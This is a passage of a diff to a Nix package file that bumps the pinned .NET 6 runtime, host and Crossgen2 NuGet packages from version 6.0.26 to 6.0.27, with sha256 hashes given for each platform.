"0qm079rbljawwj8lm83kd8dfn3rhasn981gyfkrapk92y2ndjjj5"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "1a886rw2xb053cybh9vfjwyg4a0w9d3141dsd08jxqrmbbsirb1d"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "0i9k3fcl54rnqk3gxi6dm17cmxwygclgjhjvqrjc6cshwsxm8g6c"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "06kdqs9x2mwsiv74n5dpilmvy00qzjaxljcsvqdlgmdi2z1jpshl"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "10543k5zyg60icanbn1y7dnxlpf4mcg1nlfx78lf9i9x61q542cw"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "0cfn3r2781rjmmjmk8xxrd8jn88941lkmb8j2g52jp1425w0q0qg"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "0yilpqh378zpy3likp9nkp84jrcnxnhg8gygr8qs3c6xfapy9c65"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1vxvlf6dwjjfcjahljcv7yfyxlcj1vnf66wbzp7k6bk27lndwc4j"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "1d9q0xcbj50fpbls0hvkk6n7aabg42a3kwszwnknfdabwzgmiyqh"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "077lvw62nbs1xhn4xysml1vyzbqpq3h5x3x28cppjamcnaf00k56"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "1fsz9x2qjavmvl3g7phxqj5cxm0z212dw5cz82f9njyi9m4q5bh9"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1bxs8cnqny1rdh3q0glr1f2a669697rlr2zmcimhy84y1y46x3s3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "6.0.26"; sha256 = "02mdbziad0k3b6za8bp2n7qcqjigyawxkxzphlbqag5gcn7qacsz"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "6.0.26"; sha256 = "1mq11xsv9g1vsasp6k80y7xlvwi9hrpk5dgm773fvy8538s01gfv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "6.0.26"; sha256 = "1731r332y4jxm7f64i1qg4dwb8fbq4q6p85azrrbvbrh08551rgq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "6.0.26"; sha256 = "1acn5zw1pxzmcg3c0pbf9hal36fbdh9mvbsiwra7simrk7hzqpdc"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "6.0.26"; sha256 = "12gb52dhg5h9hgnyqh1zgj2w46paxv2pfh33pphl9ajhrdr7hlsb"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "6.0.26"; sha256 = "1fj70xx2hp4nly340pcvnxxaari7mixqwmwqrp3fkjnzv0s523f7"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "6.0.26"; sha256 = "05hzps86qkx0jl8zn89732vw9a2wdxsszhzp6ld665hsjfs7xwr7"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "6.0.26"; sha256 = "0s9b3ca10wapa0xhqk6yk2hh1rqi38l766fk62yp4d4rvj2sa0qq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "6.0.26"; sha256 = "1f8axm5dz0bgm6hsdv2li2iw4y70ki9ac0xvk7q3cqmvrq0100c6"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "6.0.26"; sha256 = "04iivbqh899d0ddnnicxzckiiv12iy8cfavmkv9w9zh8bw01isy1"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "6.0.26"; sha256 = "1sxj6sv0p3cbn030j9ivgww5pk4ffrh4wg3n1g50rxd3dvfml87v"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "6.0.26"; sha256 = "09iynj920zr5c4jlrpim9qajyabxapmkzllvhhx47d88bngqqddx"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "6.0.26"; sha256 = "1nnbr5v0asl7lrz484572wzhsrzdd0lq31dnxx05c3c1lplxzpgh"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "1vqx13dbw932jx24h7qh49bmh755f28xlwiz6lpzvgz06fr1qb5x"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "0qmbs7509p83l3gfdnckw5hpxkr50awvh3112r469f3zmn2s0wvb"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "0yyxmbdqdzxw3fd36ngpy9j2c7qlmzjxrhqi4lyfz3icnzzb9cpi"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1p3xq75bhv8nsrym88yij3wlwawvxca4lcfi8hn72qf1gqrsrfby"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "1aznr59g2npja74qa7argkqlyca2sgzn55hy41pd5l5fv275bac3"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "0xbkd0g7qd9jssbnknwqpmvbp4mnkj85bhh0pf489j5nr3cmbhjc"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "1riw5l45wm4f51rfsxhs4r7k06q487zvxssfwc5xg8z0wzhf82gv"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "0207y7jgizr16hq7ml04s2xl8rrp5q87631wcj6sg53bm47nzls3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "6.0.26"; sha256 = "1cs3hij0lidd6wszbwp2kx46mqx5zyvin97sqy8dr1ywl1fb0zw4"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "6.0.26"; sha256 = "1brvsvbi55ph9gbx6i4vf2bpvaqk820vjik5x2zvz5kjc5wy9nxj"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "6.0.26"; sha256 = "12m6619yqjs81xna3mw7xxwnddxxhffcihxqa5dhz04dca9grmvi"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "6.0.26"; sha256 = "0hv0zv2qw78z285bzckcznr2kqmfpl7ghxv1cb1d90lvhfyhhpz0"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "6.0.26"; sha256 = "0prdggyp2cqdkxkm4rrk3rgvrj73s89rgkfznqsbd79j9sms5zmr"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "6.0.26"; sha256 = "1vwji98xhrmxcqr43f1ijq8bd94dq9cfp3h7g09rc5h327n92i6z"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "6.0.26"; sha256 = "0g81sv3jnmwmggsfqniv89fvwk4592bmy09m9fqggv88rfzfcl36"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "6.0.26"; sha256 = "05lhb550f385lprzxdnsama7rac7bfml5p40r7rx3mqg3bs8waxv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm"; version = "6.0.26"; sha256 = "19s0q3j5w31dnd9j4vnlxyak8cr8bgpwqy0i393ixa9148nfmk23"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm"; version = "6.0.26"; sha256 = "12whmsh15mb6ny0vazymsxpdp9aa6rjja4nifamm2ss8gzvcbqik"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetAppHost"; version = "6.0.26"; sha256 = "0jw2zm5a590mai2wggbhz2h62596076c6p4ndb8z84mkjrm9aal2"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHost"; version = "6.0.26"; sha256 = "0wwwp4bsqdkkikwzfchb3d61i9dlpi80y7nlm8l6lyfxpjirszsp"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.26"; sha256 = "1cgmlkg5fnxf5al68m3218zdj5i186ijfly0w2c81fq2yyci6fb7"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.26"; sha256 = "1sqqf6i98y1i7k0dfw51glvin8apf4nknqcjhq3sf1pxsa6c77m5"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Composite"; version = "6.0.26"; sha256 = "0qzca5yxxzjgzkvvp8ysvgbwmda5mw085zrk1ikm2094mswz4mvl"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "6.0.27"; sha256 = "0i70y4jznmwx4yak570mcpy8sg3myrxk32p0183d06614q8vr9bf"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "6.0.27"; sha256 = "078vz7l3sw25jxkhxf646hwc1csasna4n04rjq6vcv30c9kx3lp9"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "6.0.27"; sha256 = "13jaasca9yn89wn1pm007dmlfjvxf1h9m7wqi1ngjggbxd2cahlg"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "6.0.27"; sha256 = "0zqsh0kcnch9n9sg59iqwm5ws1bjg2vh3swlwjppw7fi6xw2w753"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "6.0.27"; sha256 = "0cdvdbvvbky0y60732j2n2jjycgpm2ngx38hl6zq198xm1d4g43x"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "6.0.27"; sha256 = "0r7qqwkqm9lraqwc25aadbg856v006h17yj8cxmp800iz7288k07"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "6.0.27"; sha256 = "15f1p32gkb05xlkv4vl2vnbj6q81r0x65cbyzinxacx736xr1wqm"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "6.0.27"; sha256 = "01ghqfpcpf54vw5rj81zjmhl4mrnq1lcwhdzr78wys0pjzdmic8b"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "6.0.27"; sha256 = "014m4kz2fx8xqjhyqj01x59y14wb2q6v6n723in3vrvj1a32a69f"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm"; version = "6.0.27"; sha256 = "1pxpndm99k8cbaxfxwnw0qhsaz84hwkla1q8fd02ym98iqijanm2"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "6.0.27"; sha256 = "11sfm0vb8grybwdfzl9y3y1v9jg94rn3fpsf0995xm1qgk57piiv"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "6.0.27"; sha256 = "1b6jyx86dv6p2iwc6n2cyjfp11z6nw8x2vm03rdgy2lq7h9jyg7i"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "6.0.27"; sha256 = "11l2a80xxinf08m9i6jdy0nkjpdjs9llqb8gs7x0762cnyhds7la"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "6.0.27"; sha256 = "1qcbvhg6r7j407q9y5i0srprccpfwww153xrajipk6v3fwykk9rw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "6.0.27"; sha256 = "0p0apwm7xpwwvjl453livb8ngvc0izjp5yfpgv116vhig2mxszsa"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "6.0.27"; sha256 = "02fl061bfdxcb7md4v1xra0c6pfvsy9x6s05pz28km71p96qyykg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "6.0.27"; sha256 = "1ifbyf6rd834k5dzcfxdds2gacg3w3qb1gh1df5xb4262g68ryl6"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "6.0.27"; sha256 = "1vglh2l7brp6qbdngiiwsjwsp3cyzbzjcjw7dwqhfk0whc7n96kg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "6.0.27"; sha256 = "1kf3sm7hkqz5a4y5rb49yna10041f1h3lcqx885xlbhyb4q67gi9"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "6.0.27"; sha256 = "100557k9hhbldm670fs3p0wx51r0i57i1p3m1jxrhpp07n5rnmax"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "6.0.27"; sha256 = "1d217mgqcxkfq3kyxi46rqbfcwswxi1rhm512av99cp4g4i5w2lg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "6.0.27"; sha256 = "1pml11hgqmfy21hscracmmvi8y031jdwv89zs4hpiicxangvss9l"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "6.0.27"; sha256 = "00jl8jxhn9dxii2xf5lmssb03b2kwjsadxw1jwiniwv7l5lkma40"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "6.0.27"; sha256 = "1dxvssf7rx05bipj03g8jm36j2mmdm13sg8rdwn6aa6whbwpip0r"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "6.0.27"; sha256 = "11sy3bp7xzimicns0l8i0ivhvvxdvxbh5virglfhwckpfhz7iydr"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "6.0.27"; sha256 = "0b4ydsyi5a85vg5awgblblzhk49z8y64n7wqdkgidjq3g97qlvpg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "6.0.27"; sha256 = "1j913pm78h35kvcm70276cnfvjn1r7r6jsc3jm1y0vb395qy6nfd"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "6.0.27"; sha256 = "0dr1y76wgkqnkjxk5m8ps2g086sn4kp3a04v0ynarw5j0cipg994"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "6.0.27"; sha256 = "1ig2q3galhs866572nqa2b0vfw91lshaj502w3p5pqy28hvl74m9"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "6.0.27"; sha256 = "1mwzhgfi98hy65j8f0qwr9f134nfc33ddnj36b050222q4iv66na"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "6.0.27"; sha256 = "04dz9a8ddb7cm1mvl9plhsgznvzbq4wgy8dyg8jxvw1zgqa1gikw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0nhmrbrvll5vqnk6gl8s0kgyg9zfdsmdbxphj0jd9lf096xwahrp"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "0xlkc54w9xr3a9xsmkyhk2qjfy9lrirq1xxhl1599ql1yaiph9rk"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1mj57llnfhasnzm9mmgsz8j76bqrkvqw28dzxp007c5qv9dd9jvq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "01x6zj8q3h1ddbsr2idj6acmnxh59bzb1f393fxplknm3naf1da6"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "04si4x3jc24p4nx3bgy7d246k6hyfcp2pzvbwy40p2v4cdcd7x06"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "0k3df5b2aqkhq59apygcji4i9d4k0wjnppsn0hlkqm9pxidgca4r"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "15i0j8rx6n80bpix8x5vxcqpxdhbciib3n22klj0nb5gfhqnd7wj"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "0l9hx0yjw1s7ngcwg9ad18lyd00hhnf12f3sk0mddhixzxljn6f5"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0y793pg5y7n1gc7w95yd7slakfb8yplzjx186r2ifrad4p7qpd47"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "12xabxnpw1c24psqdd6gi8w7vqvid7p43pc7l2wcjnzggjsqz3wb"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1xv0kcp6ym5xsw3vkwaz457z0id3k6pyi39z6c20yr6g0cvc9rbc"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "0a80hs753mzzyfab6xl11jdb5kajszrhhxxpi1c6v3ppgi7vggyn"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0h60p0nz2zpw1r4dcw41v8qh14r48gb0i77ggjqsspnw2xni18x3"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "16kp9g1y4y4zgz9ddcjik27cgsb7ywivyynlkzbnmzgn24hwgyk1"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1d855rhk8qv4fpzm683ri888s66v43kg6sqxflz4bz405s2a5ysx"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "153rxl7i7grl46mskfsnhhr7v7b5j7m42awr7v0d0c19qx6f5vaw"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "1pn50973cjm1qravx0sqb88k7rc7rgzar0gjlm6cwwgy93ds5bdl"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "04az07rqpiffwdgn90ifxka09wgabgh99bayl8kil595akaqxigz"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1nsg2pqz51ahgb75gfrqwbvxi49q9q742k40pqslwbwraspjl2nf"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "0z9217d2sfh8984haf064bqa81w4bcia0c3gdf39rjv8ilq664ag"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "1hma20dbppvzqwpfb50lkrdx8g007ix29h6hrimi6382y8v4vg6j"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "14l9dckj8q8rsbpcw6gjl905wrpr1w6rk76gxnxccvxjc28pb66a"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "04131710bvi5qg5qabbw54q34dsr9mg0xfxv6r15nlri31mi8rl5"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "0kh1ri99gndvrbnxqzpd3xlwjdjxdydamgjd5zbplbjsj16z4zlz"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0sns0j30ppcj9ivz8nlxalxiak28gabb9p98gfnnyhp7izk4yzkr"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "1c7r1fjzkc76ls0qm3kilrq0wgygvyzynlx02r19295f3r601c8k"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "0bicffp7ijvdjiqci924jadf5jka5ddrbzrci46pjxnhrcpgb7vl"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "11dbh0yv0bxnvl713c9awf6hvz8z7xgll7xhawad4a4gv9vz9y87"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "1qdfyyqgr7bfh2bsz27qx4dm1m0cr12bb0x94gvr6wgjyk22hy8k"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "0c7chsjv4rwb1xyk8m0mf9z7csv1j4bpj10v3z5dqzzb7kk90zii"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1kvlhhwzklbwqz3vvhyi4xkapsl2xw14iincxb050vqzrrwwynrv"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "0f6qyjnnvql2qgqqwf7nm616klhgbnb1w5145nrayzs1z142q6d6"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0dy3is2dzpwkybqinaa6mm7y9vblqf4bn090pbssshcq6yvqxjph"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "08yx368a44qjr2npjqs66pn3h79chzxmhy10yxjb6szk497mhqsj"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "0j6hpcprib6y6nga3bm2nkq3w6n8y58vzzgxwd3kaaj25b73wqa9"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "1xkaq7bknnjahn3ds3n9iqs8ibzd3k2274sk4366zkprlz5q5n1z"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "1ggc83318n3l5x4vi9p7vqzi9qvvyp8z3lrah9ynw7rp2kiz4094"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "0ih4wdq31g12zxx8799rgzi2wbrsprfsy65042k7vm605rz3f5y8"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1mpi59an3nifc52dnfgi20fsbc4dbps11l22an59g0gnr3dzd0j8"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "1jv1kaq4r3bqg51r4gvf2d9d079w2c5yq4np0qrib73v824gxp8z"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "6.0.27"; sha256 = "1i60hm288jaynx9cpgcvhb5spjbvspn8yr583qwyrrfm7hnfybr4"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "6.0.27"; sha256 = "14zd7mgl866bhqqrcb6q3xbwrllks1nmfzhnbm8rf7h5cqqrqwbn"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "6.0.27"; sha256 = "0cysxz3ak4wgdb8ba3ggpbdqm4nn0c0wm37gx6cxnqrrz359289h"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "6.0.27"; sha256 = "1mbjbj9c7sxw0hfq25ypv56hi9kik3vrrvr8ika3wcwv1ilpvczj"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "6.0.27"; sha256 = "15fwbjq2r406fq175j2lsh4f91iiipmvaq96nsba3q2fh0c433zm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "6.0.27"; sha256 = "18hdnp0r5z177fap9qwwwm4lmnv1vcg35k079j11g9d0935916la"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "6.0.27"; sha256 = "139hpnq1calf7hgpilkdpzzmzdrbx4fz8svn3y4q1ivgajqzpzj7"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "6.0.27"; sha256 = "1dmdzmjncjnga8r606g2pcszh3sqlhfgjz8dp62v5i07327l65yl"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "6.0.27"; sha256 = "0dyjkrvqald4dyabw5a4zvqdn7hz4x37ifjlc16h146vwqmlxrcm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "6.0.27"; sha256 = "0bswzvdy8nfd3wraja226j200a7qkpk3shs70hc3kwpr98bf92xv"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "6.0.27"; sha256 = "072yfx28hynv3hx0jrd47js77k7xlxx55x4yw1cjdzk24x3a2kln"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "6.0.27"; sha256 = "0xks0gvjlz4c0ys75yc1a0aivrb49yzvwq2ks06adwp1763h0lnc"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "6.0.27"; sha256 = "0fw86pzq30iblbqfm2y45r920fhp59ars3sdcn4f2kz9p2xkgd57"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "16fdjdy1lb82llxpsxf98zm2w3r0my46ddgdri7f93q7wwdhiqpn"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "1h82yr6mxjdgsl32mx0pzxlicxknf1sahzbbhmx7xl8fvlxw4f5n"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "0rn1l75ry5k1ph6ykwp3jh5nffvfyd3wv0hnrzrrhp86fpppf45f"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "076g4fwfxfa5b57b9zfwfriw761in9lzjasgk252f9gzx01za6x3"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0pg2p7499b378gv41c85vkb86kfb4vrhhbsgzcc1w3726f58qsfk"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "0azr1zxg4wl6hz8pyrsrgjjhvrlvc3lzs9ww08vdcvqcjccd8p46"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1z1hhlqdaikdsh8a20xdpkwivdl3qca656xxx2ldzsg5zfrspyf5"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "0hh92l077fzgwjyy9b1v8vphcqrh0prlrjhvx7siq75ibpqyvk2l"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "6.0.27"; sha256 = "0wa03db8292s91sffzwscb07kvkg8zfy645mbflcvi3mi6pk3w66"; }) + (fetchNuGet { pname = 